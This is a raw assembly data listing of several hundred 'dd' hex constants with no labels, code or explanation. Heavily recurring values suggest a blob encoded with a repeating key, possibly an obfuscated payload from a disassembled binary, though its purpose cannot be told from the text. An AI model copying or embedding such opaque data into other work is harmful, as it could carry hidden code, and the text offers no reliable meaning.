		dd 48BAD844h, 36A83370h, 0B3156688h, 5D005086h,	0B3FF6764h
		dd 5D0050FBh, 63E03BCEh, 0B93162BBh, 0F694422Eh, 32156615h
		dd 32157561h, 0A8BFAD44h, 0BF5B2D9Bh, 8ED67BB7h, 0D0469E3Fh
		dd 6583F7A8h, 3219E42Dh, 0BE1A6611h, 3215668Eh,	3215EE4Bh
		dd 0BF2E6622h, 35C44698h, 0CD6DE387h, 3BFC99BBh, 2D156622h
		dd 0ACE77D5Bh, 6AD1FC3Fh, 0BB118AC7h, 32AB4216h, 0BB156611h
		dd 0BFE03878h, 0E3586CC9h, 39926925h, 0DB156611h, 3215668Eh
		dd 861A7E96h, 34FC31D4h, 2C156611h, 7893424Eh, 3DF49968h
		dd 321567ABh, 0BF9C9F11h, 35C44821h, 32156BADh,	4E62FE22h
		dd 62B71292h, 9586225Dh, 6EAE2DBh, 0F6963C06h, 321F8F15h
		dd 6C426688h, 0DB78F1AFh, 3AEB96F5h, 64316A9Ah,	0F4948001h
		dd 32156640h, 0B511A0A1h, 0DB494225h, 32156687h, 6B307D77h
		dd 0CEA93CC5h, 0CA7E6150h, 5A935BAFh, 321515DCh, 0DB3152ABh
		dd 32156618h, 74737BD3h, 8B881B49h, 0AF9E9AF6h,	35C463D8h
		dd 0B9269974h, 0F6944248h, 32156626h, 0D2940071h, 0B974F269h
		dd 0E33BCFC1h, 20FC9325h, 0FE156611h, 0DE3E440Eh, 42AD996Ch
		dd 0BF27F8A5h, 4F4970F3h, 3DF5B79Eh, 321568C8h,	321C8F22h
		dd 9C176611h, 7FDDBAC1h, 31857C9Ch, 0E306FBA7h,	3E09316h
		dd 321A8F7Eh, 0B6696644h, 8B1A3591h, 0FFD69A67h, 8D35E1EAh
		dd 0FC9F060Ch, 32156ACBh, 9B127911h, 1B263678h,	0C9A66A3Fh
		dd 527D076Eh, 0BB156654h, 6A43428Ch, 2B97691Ah,	0DB156622h
		dd 32156605h, 0E39C44E4h, 93E742F6h, 6EA9DC58h,	0B75AC112h
		dd 13D9C0F2h, 0B41ACB22h, 32156623h, 0B9E906E9h, 0D2D40752h
		dd 32068F46h, 6BF76622h, 32F3C7B7h, 40499B60h, 0E4EDA2FEh
		dd 0D128D4E2h, 53906578h, 0DB12B798h, 32156654h, 7133CF07h
		dd 92C16A9Fh, 0AACB325Ch, 9A489C39h, 369E3072h,	36D1E735h
		dd 6C156688h, 32138F24h, 0F936622h, 4CAF4A7Eh, 26CC8C09h
		dd 9F745588h, 2B384BDEh, 913837A4h, 330ED2CAh, 70B6638Ch
		dd 1F107D96h, 5244D308h, 0CC9E00DBh, 0F094001Fh, 0CD74A2CDh
		dd 0B34B4225h, 3215624Ch, 33946944h, 0CB156622h, 2798DB92h
		dd 3D146159h, 3215B3C0h, 32058F22h, 45DA6611h, 0E6154425h
		dd 39A67AB0h, 0E101F601h, 0BF2E9CBEh, 35C47A41h, 32A1E24Bh
		dd 34FC6622h, 9D156611h, 3B5F1C0h, 0CB985DC1h, 3D12B712h
		dd 3215FB95h, 22FC0688h, 0A6156644h, 67BA120Ch,	52C74F79h
		dd 0F1B94BB3h, 0B3BDEC79h, 6C3955F5h, 0BF2E076Ah, 35C44B81h
		dd 3261E24Bh, 3D756622h, 3D439CAEh, 32156608h, 0BF743D44h
		dd 0EB9D8ABFh, 26916916h, 0DB156688h, 3215664Bh, 0CD89B9A2h
		dd 0ECCDE79Dh, 0CE3102BCh, 0CDF1E6ADh, 339169F1h, 0CE156611h
		dd 0DCA833D8h, 33753F2Ah, 6F11424Eh, 0DCFAE74Eh, 0CA753FE6h
		dd 2450E3CDh, 0B71A61F3h, 32156609h, 32157561h,	2FAA3D44h
		dd 76DF7600h, 50692ECFh, 42CE7428h, 66C03C4h, 323552CBh
		dd 0AF989F11h, 35CCEE64h, 0CBC699B1h, 2798DBA1h, 3D1561C0h
		dd 3215150Ch, 32018F44h, 34BF6622h, 6FD4D5A3h, 0DB0CA035h
		dd 460D079Fh, 0CA8F6543h, 0B72E194Dh, 35C445A5h, 323AE24Bh
		dd 21FC6622h, 0D5156611h, 70938A01h, 9205DE5Bh,	1769A7D2h
		dd 0D4E03005h, 0B72E6394h, 35C4411Dh, 323FE32Dh, 34FC6611h
		dd 58156688h, 1D7DCDB4h, 0CD3C8FAAh, 817599EEh,	32048F36h
		dd 0E85F6644h, 0E802EF52h, 3BC0992Ah, 98298F38h, 53C0D681h
		dd 3A44E319h, 0B71A61C0h, 321566FBh, 27A8E5BCh,	3212B735h
		dd 3259E21Eh, 0B3756688h, 0A4BAE896h, 321B8E3Ch, 0A9CB6611h
		dd 7403DA9Ch, 3811C979h, 0B68BE778h, 321574F8h,	2C524988h
		dd 7B4326F8h, 610B32B6h, 87D43D59h, 6AFA6D87h, 0FFA8E525h
		dd 3212B72Ah, 3230E21Eh, 0CA756688h, 3216E34Bh,	851A6622h
		dd 0B79807D1h, 35CC74B8h, 0CC888FBCh, 3AFC99DDh, 0A1156611h
		dd 0BEDEBE0Ch, 9DCBFE9h, 0E31D37A7h, 0B6916916h, 52EA9976h
		dd 0C051DC24h, 82747D59h, 0B1E0072Eh, 0EB3C0835h, 0B71A6743h
		dd 32156647h, 321560F8h
		dd 29E84788h, 9B2FD5Bh,	0EB3CC4A7h, 7C906916h, 3D156688h
		dd 321567C8h, 54759322h, 0BF74B79Ah, 6B1E820Dh,	38FC0644h
		dd 3A156622h, 0D0A08483h, 629DDCA6h, 0DBE007FFh, 0CDEA9876h
		dd 320BE81Eh, 3D756688h, 21FDACFBh, 0CA156622h,	5F53A031h
		dd 0E12926AAh, 0EAE7E3D3h, 0EBDCF4DBh, 534CB43Ch, 0DBEA5771h
		dd 32156650h, 224E6F6Ch, 0AC8C853Ch, 0A40D05E4h, 0EB3AF97Ch
		dd 72EA2679h, 1C0DB92h,	3D156159h, 320415C0h, 26FD0622h
		dd 3C156611h, 37A71E1Ah, 66588AFAh, 58FDB1F3h, 396C64B0h
		dd 656CE1A9h, 52753C1Fh, 0C29E0043h, 0B72E0770h, 35CC4F06h
		dd 3228E34Bh, 0B9E06622h, 0E333AB94h, 0EB94068Fh, 47F486B0h
		dd 8C4307D7h, 374E69C5h, 0C23E9009h, 0C53C9CE0h, 2A9F697Ch
		dd 0DB156611h, 3215669Bh, 0FD38A271h, 4D31E31Bh, 622EA3A6h
		dd 8C4CECDCh, 9F2139Ch,	0EB3CF0A7h, 1906916h, 3D156688h
		dd 32156CCFh, 32108F22h, 9C936611h, 0B92D9A4Dh,	0E33F6BC1h
		dd 321D8F25h, 95D6611h,	0BBD63EFDh, 8B4416B4h, 32156623h
		dd 3D4CA910h, 3215670Dh, 0B72E9F44h, 35CC4FB0h,	3222E31Eh
		dd 0B9ED6688h, 0E31A43C1h, 8A459325h, 30EC43AFh, 0E2E2BE7Fh
		dd 9C38B6B3h, 3769295Bh, 4D5DF97Ah, 0DB4DA1A1h,	32156654h
		dd 8C4A7FDh, 0AB7AB662h, 0EF5AE90Ah, 0DE5176B8h, 0A8905DD7h
		dd 3D12BF38h, 3215090Dh, 8B730644h, 0F09402CDh,	421CF4FBh
		dd 5790EDE9h, 3D12B74Bh, 321546AFh, 21FC0611h, 1B156688h
		dd 0C786746Ch, 0E79F4E53h, 383EE667h, 1468CA2Fh, 0BE1A849Bh
		dd 32156622h, 0B21A0670h, 3215668Dh, 0CEE2E722h, 32058F78h
		dd 69686611h, 5EE4E96Ch, 95F468F8h, 5125E3AFh, 677431ADh
		dd 0EC633435h, 9FD0E71Eh, 1BB047ABh, 52E03BFEh,	53ECA003h
		dd 1B8BE37Fh, 0B71A61FBh, 3215664Eh, 32018FE8h,	0BF4D6644h
		dd 0A96AFEA2h, 0E62F8ED6h, 0EAEFD02Eh, 72F85335h, 23FD1F73h
		dd 2F156611h, 0DEDE1EB9h, 0F3699B8Ch, 0ADA79C72h, 52E2D328h
		dd 6DCDD987h, 321F8F25h, 8CA86622h, 52CFBCC5h, 20C693Bh
		dd 274CE3CFh, 63EC61F3h, 0CDEA99A8h, 6BDA4F77h,	321560ADh
		dd 191C1822h, 97A761Ch,	0EB3CC40Dh, 73906943h, 3D156622h
		dd 3215679Ah, 0B79E9A88h, 35C4752Dh, 155FDF42h,	0D9942E19h
		dd 3C821BABh, 0CDAC3725h, 1BEA99DDh, 3AFC3FDEh,	0E156688h
		dd 0ABDF8950h, 52C306F5h, 3DCBED77h, 32156000h,	329E6944h
		dd 53156622h, 1BB3E32Ah, 0B71A6151h, 32156663h,	0CF90EDD7h
		dd 0DB12B739h, 32156698h, 845E790h, 0B26C6FCEh,	0CFD812C5h
		dd 0D89E3B67h, 0CDAF34B8h, 1BEA99DDh, 9ED3CC6h,	0EB3CCC0Dh
		dd 7E906943h, 52156622h, 53DFD91Eh, 1790E303h, 23FC6195h
		dd 6D156622h, 5CE2C51Bh, 302F2005h, 0E28E3C20h,	666C2305h
		dd 348ADB44h, 0DF947422h, 716D4A53h, 0B31383E3h, 437210F4h
		dd 33F8E7E0h, 1B5D1666h, 3AFC3BCDh, 34156611h, 5FD5B1F1h
		dd 9355668h, 0EB3CC8A7h, 7906916h, 0C7156688h, 1CCCE3CFh
		dd 0B97561F3h, 321F8FC6h, 814D6688h, 0C1762A3h,	2265ADDEh
		dd 0CDAC3770h, 1BEA9977h, 0DB753F8Bh, 3215662Bh, 95DC3EDAh
		dd 0B5B0792Dh, 5330D4F9h, 1BA7E319h, 0B71A61C8h, 321566BAh
		dd 321560ADh, 41E1E22h,	0B90FD017h, 0E330970Dh,	8A459343h
		dd 32156623h, 0DB4DA110h, 3215669Ah, 2A86E1EFh,	6373FC4h
		dd 0DD191139h, 76E069Ah, 0B72E11FBh, 35CC4F98h,	3245E31Eh
		dd 0B91A6688h, 32156645h, 390EDDAh, 5212B707h, 0DBCDEDEEh
		dd 32156641h, 0C1895577h, 89460771h, 67554FE1h,	2F61ADC5h
		dd 0D9943115h, 71024981h, 0D994BD7Fh, 0D98A9456h, 0DB4EB923h
		dd 32156603h, 6AE4C524h, 416B3D3Bh, 39480976h, 0A33FAF34h
		dd 0B72EAF4Ch, 35CC4FF2h, 3264E32Dh, 0B1E96611h, 0E30B8335h
		dd 0B71A6643h, 32156641h, 3214E81Eh, 0B9E06688h, 0E3241BC1h
		dd 38956925h, 0DB156611h, 3215668Dh, 3466B643h,	2594690Bh
		dd 52156611h, 56E0B009h, 38FC60F1h, 85156622h, 2D70D04Ah
		dd 434018EDh, 884707CCh, 37BC2274h, 0C557B4E6h,	65FFE752h
		dd 1B10CF00h, 0DA753CF5h, 32156618h, 9AA2F2Bh, 0A3727BE6h
		dd 684A347Dh, 0B17400A3h, 0E3389F35h, 0B61A6643h, 32156673h
		dd 321D8F71h, 6E736688h, 6A075169h, 0A6AE4D44h,	530D622Dh
		dd 1857E3B3h, 0B71A619Dh, 32156613h, 321DE91Eh,	3D756688h
		dd 851A95F3h, 0B79E07D3h, 35C4617Ch, 32156861h,	57F55544h
		dd 78EFDEBBh, 3770F279h, 610048DFh, 0CDEA99FFh,	69CA4FDDh
		dd 0C7A8E5E9h, 3212B798h, 30B9E24Bh, 52756622h,	321576F9h
		dd 7364CA88h, 0B135BDE6h, 39BB529Ah, 0C26DA64Dh, 3DFC3881h
		dd 0FD156644h, 0C5E98CDEh, 2E295D30h, 0FB4AD7F3h, 0DA74A0A8h
		dd 3215662Eh, 6FEDB73Eh, 7CFC7426h, 0EC7B5007h,	534F3F75h
		dd 32CCDB92h, 3D156159h, 32173BC0h, 68450622h, 320CEF1Eh
		dd 26FC6688h, 4C156644h, 2B7F2CDh, 0D284A897h, 3B0FA51Bh
		dd 517EB6EBh, 5317196Bh, 1833E32Ah, 0B71A6151h,	3215660Bh
		dd 63C2D942h, 0B9747532h, 0E316870Dh, 60EC0643h, 321576CBh
		dd 470A5311h, 0C1FD61Ch, 0C3EE270h, 0BB5D0749h,	62743ECEh
		dd 0CDEA9930h, 6AD24FBBh, 321D8E42h, 15206611h,	8B0F3558h
		dd 8C73F98Fh, 3D4C93E2h, 3215629Fh, 40AE0088h, 9EC07EEh
		dd 0EB3F50A7h, 1D906916h, 52156688h, 4CE3E722h,	0B79E0706h
		dd 35C44818h, 3214EE87h, 0DBEC6644h, 3215662Ch,	0C8ECD668h
		dd 105D1219h, 6816C749h, 0DD925542h, 0B5EA8B92h, 0B72E9E67h
		dd 35CC4C6Eh, 325AE32Dh, 0B9E06611h, 0E315530Dh, 54759E43h
		dd 0DBA0029Bh, 32156619h, 0C5CAC799h, 0B3C3AD4Eh, 3AE3543h
		dd 0C530D57Ch, 92F6E75Bh, 0B31D7E1Bh, 3D1DE0C1h, 11D6E720h
		dd 0B36AEAC0h, 59A23887h, 69CA67A2h, 32156AF8h,	7CABB188h
		dd 0FA277DCEh, 5D4E1851h, 8905D2Bh, 3D12BFA2h, 321533C1h
		dd 0B41A9A22h, 32156608h, 32157261h, 0B3CABD44h, 98544F0Bh
		dd 0FFB409B9h, 0F7B8E660h, 2EAAB23Dh, 7B90ED8Eh, 5212B719h
		dd 32156E60h, 9C50AC44h, 87524A28h, 0FD940024h,	534D841Ch
		dd 0CDEADE14h, 0F53C99DDh, 88730649h, 0B51AD741h, 32156641h
		dd 0ECE7E744h, 0B72E0796h, 35CC4CB6h, 323CE34Bh, 3FFC6622h
		dd 13156611h, 0A7DADF2Eh, 972163F4h, 65C938ACh,	3004E39Ah
		dd 0CBE06159h, 0CDEADF15h, 0FD3C99DDh, 0B9730648h, 9749A4Ah
		dd 0EB3F48C1h, 78906925h, 0CB156611h, 1504E303h, 0B01A6195h
		dd 32156623h, 26FD06EDh, 11156688h, 4B620D70h, 94323D94h
		dd 0D1ED81C6h, 28D80D32h, 0B2BC60B7h, 534E7FD0h, 0A71DF40h
		dd 0DB941A3Dh, 4EA05E27h, 0CE4CA923h, 3212EC1Eh, 0BC1A6688h
		dd 32156645h, 905DD7h, 3D12BF3Bh, 3215370Dh, 3E926944h
		dd 3D156622h, 32156093h, 32936988h, 0B9156644h,	0E3023FA7h
		dd 8B449316h, 0F2F4806h, 0E364A7C5h, 0FD3CA4E7h, 359E6948h
		dd 3D156688h, 321567C1h, 0BD1A9E22h, 32156607h,	32157761h
		dd 62F2E44h, 0A30D9282h, 72CAF29Bh, 0DA4A6CDBh,	8F960B66h
		dd 35C466FBh, 7B916911h, 0CE156682h, 1BABE37Fh,	0B71A61FBh
		dd 3215660Fh, 3214E687h, 0B9ED6644h, 0E3306FA7h, 33976916h
		dd 0CB156688h, 0CDEADE14h, 0F53C99DDh, 0B72E9F49h, 35CC4CDAh
		dd 325CE34Bh, 54756622h, 5129A590h, 0B79E077Dh,	35C47FB1h
		dd 321575CBh, 66CB1E11h
		dd 611A760h, 0CB9F925Eh, 60C85B5Eh, 3AB59E4Fh, 0CC2491B9h
		dd 0B5539175h, 23FC06D5h, 5F156611h, 0F59EDE08h, 0F3E27ADCh
		dd 44A4469Bh, 162B9C55h, 9749703h, 0EB3CA4C1h, 7C906925h
		dd 3D156611h, 32156306h, 851A0644h, 0B79E07EDh,	35C47648h
		dd 32156F61h, 1F916044h, 0B8ECC6ADh, 8A45DD5Dh,	151A04A1h
		dd 1F5DB6B3h, 0EAE5FBF4h, 524DA138h, 74D7E7EEh,	321B8EB2h
		dd 2AF36622h, 0CEFDAFD2h, 0EA23F345h, 0EC50DC39h, 68E7ED44h
		dd 0F4905D70h, 3D12BFA1h, 321559C1h, 0B79E9F22h, 35C44380h
		dd 321CE387h, 63756644h, 0FA94007Ch, 5274A4EDh,	547406E8h
		dd 0A5B7BFC5h, 29AF0043h, 8F4007B2h, 0CDEA9977h, 5248896Dh
		dd 32916972h, 68156611h, 3214EC87h, 53E06644h, 1BDFE319h
		dd 0B71A61C8h, 321566B0h, 32156EADh, 0ABBC522h,	55E6D756h
		dd 5B90ED1Fh, 5212B748h, 27A4A7A8h, 8B449F70h, 0CDEA9977h
		dd 0DB4CA96Dh, 32156632h, 354BBDA1h, 2D19E1F6h,	0A40183C6h
		dd 943D9B7Eh, 1BDBE32Ah, 0B71A6151h, 321566D7h,	321DE92Dh
		dd 0B61A6611h, 3215668Ah, 3D750724h, 3FFD9195h,	0B9156611h
		dd 0C509FE4Fh, 8335DF85h, 0CEF2254h, 32156DF9h,	0B0F46588h
		dd 0E8053443h, 71FCB78Ch, 0B1743848h, 0E30B8335h, 0B71A6643h
		dd 3215666Dh, 3218EF1Eh, 0B3756688h, 6521AB84h,	0E9940036h
		dd 0B974B993h, 0E30CC70Dh, 22936943h, 3D156622h, 32156C92h
		dd 32108F88h, 0C2836644h, 618AC305h, 321567AAh,	69CA6788h
		dd 321574ADh, 0A8C57E22h, 8CFD0DC6h, 5A202CD1h,	84D98B4Dh
		dd 9D207B2h, 0EB3CB494h, 990698Fh, 3D156644h, 32156CA4h
		dd 32108F11h, 0D20E6688h, 0B9798DF9h, 0E30D3FA7h, 8B449F16h
		dd 55123126h, 0F394BFB3h, 71C76C6Dh, 3721A790h,	0F3946427h
		dd 12932E6Eh, 3D4CA90Bh, 32156795h, 0B72E9A88h,	35CC4F92h
		dd 3277E32Dh, 0DA756611h, 32156680h, 537D3B7Eh,	8C8E9E8Dh
		dd 544B3843h, 53CC1733h, 2CF0DBC7h, 3D1561F3h, 32155994h
		dd 39986988h, 0DB156644h, 32156624h, 516DFFB4h,	0B975988Ch
		dd 0B79E0794h, 35C466AFh, 33AB30E4h, 33156688h,	0CB7538B3h
		dd 321574CBh, 0FC06AD11h, 0C09272BCh, 0D3728B16h, 0A763769Ch
		dd 53340F30h, 1BCFE3B3h, 0B71A619Dh, 32156679h,	32156AF8h
		dd 0A551AF88h, 42FBF4B8h, 39A51D9Fh, 1790ED7Fh,	3D12B78Ah
		dd 321563C0h, 52ED0622h, 0B81A0770h, 32156691h,	321572ADh
		dd 1CCC1E22h, 0C8C2536h, 0FC38FB41h, 4404E86Ah,	9FB85EC6h
		dd 33AF3481h, 33156688h, 0B01A3C93h, 32156629h,	329F6971h
		dd 3D156688h, 974ADF3h,	0EB3CB8A7h, 0D906916h, 0DB156688h
		dd 32156657h, 48E96D8h,	2D26F887h, 0B43DBBEBh, 82F91532h
		dd 0B92BAD30h, 0E3270394h, 8C43938Fh, 0CDEA99BBh, 524B910Bh
		dd 0BBC1DE77h, 8FF2E7EEh, 35FC0743h, 29156622h,	0C5311BDBh
		dd 0B72E2831h, 35CC4FA2h, 3250E32Dh, 0B1ED6611h, 0E30B8335h
		dd 0B71A6643h, 32156615h, 8F90EDEDh, 5212B7ACh,	321576ACh
		dd 0AE63FF22h, 918198F5h, 9E1EB811h, 9E460465h,	6CDAED8Bh
		dd 70DAE777h, 8C430779h, 32156645h, 524B9123h, 0D3F4D977h
		dd 9749102h, 0EB3C84C1h, 6A906925h, 0CB156611h,	2CF0DB0Bh
		dd 3D156195h, 32152CA7h, 32068F11h, 0AF8D6688h,	4B29A022h
		dd 0B6BC85DFh, 8BDF699Fh, 2B587D93h, 790ED22h, 5212B705h
		dd 321E8EE8h, 46356688h, 631D0C0Dh, 0EFDD2A53h,	534A9F9Eh
		dd 161199DFh, 0B1315ACFh, 3AFC62E6h, 82156611h,	62DFD27Bh
		dd 9571609h, 0EB3C8CA7h, 74906916h, 0C7156688h,	16E8E3CFh
		dd 0BD1A61F3h, 32156608h, 3206EF87h, 3CFC6644h,	55156622h
		dd 5E11DF7Ch, 0C3EBEDE9h, 9E00DC69h, 33A833A9h,	33156611h
		dd 3D753B67h, 321563CDh, 0E3940022h, 8873D928h,	52747848h
		dd 7C3DF22h, 0DC905D43h, 3D12BF38h, 32154E0Dh, 32108F44h
		dd 64D6622h, 0B90E6F1Fh, 0E30AE70Dh, 89469E43h,	0CDEA99DDh
		dd 3D4EB938h, 32156E0Ch, 309C6944h, 52156622h, 0C0905D70h
		dd 3D12BFA1h, 321500C1h, 0B11A9E22h, 32156604h,	32157661h
		dd 0CCD73744h, 0B4C3D0C8h, 0A5D4CB95h, 0CFECEB7Bh, 6390ED27h
		dd 5212B711h, 0E746DC77h, 0A0DEE7EEh, 8F4007E6h, 26AC743Dh
		dd 13D8E75Ch, 0C5239D91h, 36F0A799h, 0F794BBD5h, 0A25B2A1Eh
		dd 524889A1h, 321575ADh, 0F82A9622h, 0B84047D8h, 15513FF8h
		dd 0F5D94ACDh, 0BB8E9F61h, 9743E43h, 0EB3C900Dh, 1F906943h
		dd 52156622h, 34E5E777h, 0E700DD82h, 0B9742552h, 0E301EBA7h
		dd 32128F16h, 844D6688h, 8E6620B0h, 42AD36E5h, 7605B26h
		dd 0B8D7AE07h, 0CA4DA16Dh, 1BEFE319h, 0B71A61C8h, 321566BCh
		dd 32156FADh, 3854022h,	0A3A6E484h, 65754A9Bh, 32156DACh
		dd 0CBCBF122h, 0C7845B79h, 0B31C02CFh, 0B9743F1Ch, 0E327B7A7h
		dd 89469A16h, 32156689h, 0CA4EB945h, 1BEBE319h,	0B71A61C8h
		dd 321566CCh, 3212E74Bh, 0B51A6622h, 32156610h,	0AF90ED74h
		dd 5212B744h, 7CCE744h,	32068F6Ch, 72EF6688h, 0F73A9DE0h
		dd 4CBB17C1h, 91DBEE79h, 31ADD13h, 0E524071Eh, 0E5249C13h
		dd 52C2E153h, 9C754037h, 53BCD506h, 1817E319h, 0B71A61C8h
		dd 321566C3h, 321575ADh, 78528D22h, 6533E3C2h, 0C8C467D1h
		dd 5A1E5C7Dh, 3D78D3ADh, 321575F8h, 64FEE988h, 0FB7036D6h
		dd 6375EE48h, 99652A88h, 6A59860h, 2DF0E3CFh, 37FC61F3h
		dd 11156611h, 0AE90C7FFh, 0CDEADC16h, 0E53C99DDh, 9E09A4Bh
		dd 0EB3F600Dh, 65906943h, 52156622h, 3207E11Eh,	3FFC6688h
		dd 0BB156644h, 41A9F92Dh, 0A0841623h, 0BCB77499h, 3213EA4Bh
		dd 0B11A6622h, 32156611h, 4390EDE9h, 3D12B767h,	32156CA9h
		dd 0D79F0611h, 3215EA87h, 64746644h, 3215679Ch,	6CE26711h
		dd 0B583D8E8h, 0B01A4353h, 32156627h, 0AADE61AAh, 0B72E0783h
		dd 35C44C7Dh, 327BE32Dh, 0BB1A6611h, 32156689h,	32048FB8h
		dd 0F2DE6622h, 833C9F40h, 5F7CA315h, 4553E63Fh,	0B90E03C8h
		dd 0E325C394h, 321F8F8Fh, 77216644h, 1D979F4Ah,	0E18696F3h
		dd 32048FE8h, 0EB816644h, 0A663E720h, 2A2DEF6Ah, 0D2DC4DDDh
		dd 54EC5F1Fh, 6174A7A9h, 0CDEA99AAh, 69CA4F77h,	3207E64Bh
		dd 3FFC6622h, 8D156611h, 34B5F078h, 0EDA84ACCh,	4BFD3A91h
		dd 181FE32Ah, 0B71A6151h, 32156657h, 0D390EDDEh, 0CA12B71Fh
		dd 0CDEAD8DEh, 0C53C99BBh, 9E99E7Ch, 0EB3F2094h, 4190698Fh
		dd 0C7156644h, 321568CBh, 8F242E11h, 0A93A17FAh, 0D0A49213h
		dd 0B1417330h, 0EB3F28ACh, 0B71A668Fh, 32156679h, 3214E42Dh
		dd 0B1E06611h, 0E300EB35h, 0B61A6643h, 3215661Ch, 321576F8h
		dd 0BE5B8E88h, 0F1D9EE62h, 0FDDDF83Fh, 0EEFA10BBh, 3BFC067Eh
		dd 9D156644h, 0A474D767h, 6C1E2676h, 577FDFEEh,	0E790ED25h
		dd 0C712B72Ah, 16119946h, 0B3315A03h, 32156280h, 0B72E9A22h
		dd 35CC4C5Bh, 327AE387h, 0B1E06644h, 0EB3F289Fh, 0B71A6616h
		dd 321566B9h, 3201EA4Bh, 0BF1A6622h, 3215661Fh,	32156F61h
		dd 252844h, 47060E3Dh, 8F96FB31h, 35C47305h, 8916944h
		dd 0DB156622h, 32156614h, 3C3A580Fh, 0C790ED56h, 3D12B73Eh
		dd 32156B94h, 321D8F88h, 12746644h, 158439EBh, 884796DDh
		dd 32156689h, 3D4FB145h, 32156EAFh, 309A6911h, 52156688h
		dd 3C905D25h, 3D12BF08h, 32152E94h, 0B11A9E88h,	32156645h
		dd 2B90EDD7h, 3D12B739h
		dd 32156A04h, 32128F44h, 9CD56622h, 52A2520Eh, 33A8337Eh
		dd 33156644h, 0BE1A3BCDh, 32156608h, 32157261h,	0F3398A44h
		dd 7B2D7642h, 0A425F4E7h, 0DCEAC868h, 96E71FBFh, 20905D4Fh
		dd 3D12BF3Bh, 32153B0Dh, 33946944h, 0CE156622h,	37C8E39Ah
		dd 54756159h, 6D778EC5h, 321568CBh, 3C474B11h, 0B5B87C57h
		dd 3F706A31h, 530B04B8h, 0CDEADB44h, 0DD3C9977h, 3CFC0619h
		dd 0A4156622h, 50F6F6Eh, 4CC211A1h, 0A60BC993h,	0F8F1E6A1h
		dd 3CFC0670h, 0AD156688h, 0B35D0F62h, 0ACA8035Eh, 51A8CE79h
		dd 0B72E0733h, 35CC4C52h, 3226E32Dh, 3AFC6611h,	0CA156688h
		dd 0FCD901Bh, 0B9F479A3h, 0E3268394h, 321E8F8Fh, 792E6644h
		dd 920EF652h, 81FE7C04h, 74E2E1A0h, 0CC249175h,	0B71A9113h
		dd 32156610h, 28905D7Dh, 3D12BF6Eh, 321511A7h, 0B79E9311h
		dd 35C46121h, 321569ADh, 760CED22h, 0D2B04876h,	0CD11A42Fh
		dd 65CA2720h, 347CDB77h, 0E7E263EFh, 481F9309h,	0E7E24DD9h
		dd 0B350B3D5h, 516904E4h, 6FFA4FA6h, 321572ADh,	83955A22h
		dd 8EF979C7h, 592AB106h, 63378214h, 17B886C9h, 3D7506EAh
		dd 32156604h, 321B8E44h, 10E36622h, 609812Ah, 5A9304FAh
		dd 23ADB064h, 0B61A0778h, 32156612h, 53D3D187h,	180BE37Fh
		dd 0B71A61FBh, 32156642h, 321FE287h, 3D756644h,	321566ACh
		dd 53740611h, 62CE303h,	60ED6195h, 32175E98h, 0D8D42408h
		dd 22E7E78Dh, 3315AE44h, 54753CF5h, 0DB0BDFAFh,	32156698h
		dd 82F48784h, 6D10FB53h, 0C81426ACh, 0C5C11741h, 321C8F25h
		dd 22516622h, 0A3A5A7CDh, 9CD6CDAh, 0EB3F44C1h,	1F906925h
		dd 0C7156611h, 171CE303h, 3D756195h, 321564A3h,	544A3711h
		dd 6574A103h, 0CD314AC5h, 6DEA99DDh, 32156DF8h,	18B6E988h
		dd 1FDF8D77h, 0CA13F6A7h, 0B61A991Ah, 32156687h, 0E0940024h
		dd 0B8A22C88h, 0DE6B8F70h, 9E09977h, 0E3083BC1h, 0B906925h
		dd 52156611h, 53F4EC74h, 6BC6E3C9h, 0B11A61FAh,	32156601h
		dd 32156D61h, 99768B44h, 7F02041Fh, 0DA9384CCh,	0CDF92D61h
		dd 3EFC06BBh, 0A9156622h, 7E6113EEh, 0CEA4E0F5h, 534F38A0h
		dd 14E0E319h, 0B71A61C0h, 321566DAh, 3214EB4Bh,	3DEC6622h
		dd 32156190h, 33956988h, 0CB156644h, 1B7BDBA1h,	3D1461C8h
		dd 3215570Dh, 0B7989E44h, 324C6D45h, 321FE71Eh,	65756688h
		dd 3294691Ah, 53156622h, 0CDFE89F8h, 32058F77h,	0CB586644h
		dd 26CBDE1Fh, 5D558DE0h, 8A35CC81h, 0B72E446Fh,	35CC4F5Ch
		dd 3234E21Eh, 9EC6688h,	0EB3CE4C1h, 14906925h, 3D156611h
		dd 32156805h, 0C0940644h, 2FA45646h, 3215E11Eh,	0DB746688h
		dd 0CDEA8DECh, 3212EF2Dh, 54756611h, 5375AD03h,	89463725h
		dd 23D33F2Ch, 0B3178DD0h, 4A7FA943h, 3D6E723h, 0BB8DE023h
		dd 0FC9C3DC8h, 3E9269D1h, 3D156644h, 321560A3h,	32956911h
		dd 0DB156688h, 32156643h, 8BC2764h, 0B1E7968Ah,	0B71A6776h
		dd 321566FAh, 40905DDAh, 3D12BF38h, 32155B0Dh, 32058F44h
		dd 92DC6622h, 2DFAA9A2h, 3A8CB387h, 0E074F372h,	0B798AA4Ah
		dd 324DE1D5h, 1BFC9E74h, 3DEA99AFh, 321573A2h, 32058F11h
		dd 63136688h, 236F6883h, 3B4D6DE8h, 4E06C76Ch, 0B72E5497h
		dd 35CC4F32h, 3233E32Dh, 0C7756611h, 3210E187h,	0B3736644h
		dd 539D60EDh, 0BA2FE39Ch, 0DBE966D0h, 0CDEA8CACh, 3213E82Dh
		dd 0CE756611h, 53D4D187h, 1B6FE37Fh, 0B71A61FBh, 32156627h
		dd 32018FE8h, 0DA56644h, 0A856B4A8h, 7B93A3A9h,	44117DECh
		dd 0A97DB115h, 53EDA02Ch, 0BA6AE39Ch, 0B27566D0h, 0DB747EA6h
		dd 0CDEA8C86h, 321563F8h, 29848D88h, 617DBEF7h,	0BB156656h
		dd 0DB4D4215h, 32156680h, 4A4D02FCh, 0E3F84A7Ah, 3218AD79h
		dd 1639EF88h, 0ED1E222Ch, 0C7943B3Eh, 2ECA6D57h, 52488801h
		dd 0AFD6D922h, 50AB0042h, 329B699Ah, 53156688h,	3DE36D25h
		dd 321547A7h, 33956911h, 0CB156688h, 0CDFF78ADh, 32058FDDh
		dd 93C36611h, 0C8922ABEh, 683CC65Bh, 5DCD0ECCh,	0BB47E840h
		dd 3694344Ah, 151E3560h, 0DC943864h, 74326D42h,	62759ED2h
		dd 30E4E61Ch, 63A0EF43h, 5212B70Dh, 329F69E8h, 0DB156644h
		dd 32156631h, 40D32263h, 57FB6764h, 7849BC3h, 0FC9A7DAFh
		dd 537BD6E9h, 0FFA0EFE9h, 3D12B765h, 321561A9h,	339C6911h
		dd 0CE156688h, 3DFC58C4h, 32144FA7h, 3AFD0611h,	0DD156688h
		dd 0AF8F3087h, 63C549C2h, 54753E4Fh, 285CB709h,	32156BADh
